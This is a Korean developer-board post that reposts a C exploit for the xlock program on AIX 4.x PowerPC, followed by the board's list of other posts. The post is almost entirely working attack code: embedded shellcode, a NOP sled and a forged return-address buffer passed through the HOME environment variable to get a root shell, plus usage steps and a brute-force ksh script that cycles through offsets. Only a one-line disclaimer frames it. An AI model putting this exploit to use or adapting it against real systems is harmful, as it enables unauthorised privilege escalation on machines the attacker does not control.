Contents

Develop
2003.04.23 09:43

[c] home env stack overflow

조회 수 11540 댓글 0
?

단축키

Prev이전 문서

Next다음 문서

크게 작게 위로 아래로 댓글로 가기 인쇄
?

단축키

Prev이전 문서

Next다음 문서

크게 작게 위로 아래로 댓글로 가기 인쇄
/*
*
*   /usr/bin/X11/xlock exploit (kinda' coded) by BeastMaster V    
*   CREDITS: this code is simply a modified version of an exploit
*   posted by Georgi Guninski (guninski@hotmail.com)
*
*   This will give a #rootshell# by overwriting a buffer
*   via the $HOME environment variable in 'xlock'
*   This exploit is designed for AIX 4.x on PPC platform.    
*
*
*   USAGE: 
*       $ cc -o foo -g aix_xlock.c
*       $ ./foo 3200
*            #
*
*   HINT: Try giving ranges from 3100 through 3400
*   (If these ranges don't work, then run the brute
*    korn shell script provided after the exploit)
*
*   DISCLAIMER: use this program in a responsible manner.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
extern int execv();
#define MAXBUF 600

unsigned int code[]={
  0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
  0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
  0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
  0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
  0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
  0x7c0903a6 , 0x4e800420, 0x0
};

char *createvar(char *name,char *value)
{
  char *c;
  int l;

  l=strlen(name)+strlen(value)+4;
  if (! (c=malloc(l)))
    {
      perror("error allocating");
      exit(2);
    };
  strcpy(c,name);
  strcat(c,"=");
  strcat(c,value);
  putenv(c);
  return c;
}

main(int argc,char **argv,char **env)
{
  unsigned int buf[MAXBUF],frame[MAXBUF],i,nop,toc,eco,*pt;
  int min=200, max=300;
  unsigned int return_address;
  char *newenv[8];
  char *args[4];
  int offset=3200;

  if (argc==2) offset = atoi(argv[1]);

  pt=(unsigned *) &execv;
  toc=*(pt+1);
  eco=*pt;

  *((unsigned short *)code+9)=(unsigned short) (toc & 0x0000ffff);
  *((unsigned short *)code+7)=(unsigned short) ((toc >> 16) & 0x0000ffff);
  *((unsigned short *)code+15)=(unsigned short) (eco & 0x0000ffff);
  *((unsigned short *)code+13)=(unsigned short) ((eco >> 16) & 0x0000ffff);

  return_address=(unsigned)&buf[0]+offset;

  for(nop=0;nop<min;nop++) buf[nop]=0x4ffffb82;
  strcpy((char*)&buf[nop],(char*)&code);
  i=nop+strlen( (char*) &code)/4-1;

  for(i=0;i<max-1;i++) frame[i]=return_address;
  frame[i]=0;

  newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
  newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
  newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
  newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);
  newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
  newenv[5]=createvar("HOME",(char*)&frame[0]);

  args[0]="xlock";
  execve("/usr/bin/X11/xlock",args,newenv);
  perror("Error executing execve n");

}
/*
----------- Brute Korn Shell Script -----------
#!/bin/ksh
L=3000
O=10
while [ $L -lt 12000 ]
do
echo $L
L=`expr $L + $O`
./foo $L
done
----------- End Brute Shell Script ------------
*/
/*                    http://www.hack.co.za ;             [2000]*/

?

List of Articles
번호 분류 제목 글쓴이 날짜 조회 수
829 Develop OGNL(Object Graph Navigation Language) hooni 2013.04.23 15768
828 Develop OpenGL 강좌 사이트 모음 hooni 2013.04.23 9662
827 Develop OPT와 CAS에 대한 자료.. (교수님 메일로 보내드린 자료..) file hooni 2013.04.23 13958
826 Develop SVN 명령어 (SVN command) hooni 2014.02.28 12196
825 Develop SVN 초간단 사용하기 hooni 2014.02.28 7674
824 Develop URI 인코딩, URL 인코딩 file hooni 2013.04.23 18894
823 Develop What is difference between Get, Post, Put and Delete? hooni 2018.02.28 1555
822 Develop XE Core 1.8.18 본문 작성시 태그(html) 사라지는 버그 file hooni 2016.04.21 1009
821 Develop XML, JSON, BSON, MSGPACK 장,단점 비교 file hooni 2017.01.11 2350
820 Develop ZBar 라이브러리를 이용한 바코드 스캔 앱 개발하기 file hooni 2015.01.01 1721
819 Develop [ajax] 샘플 코드와 한글처리에 대한 간단한 설명 hooni 2013.04.23 6867
818 Develop [ajax] 이벤트 코드 생성기 작업중.. ㅋㅋ file hooni 2013.04.23 7156
Board Pagination Prev 1 2 3 4 5 6 7 8 9 10 ... 71 Next
/ 71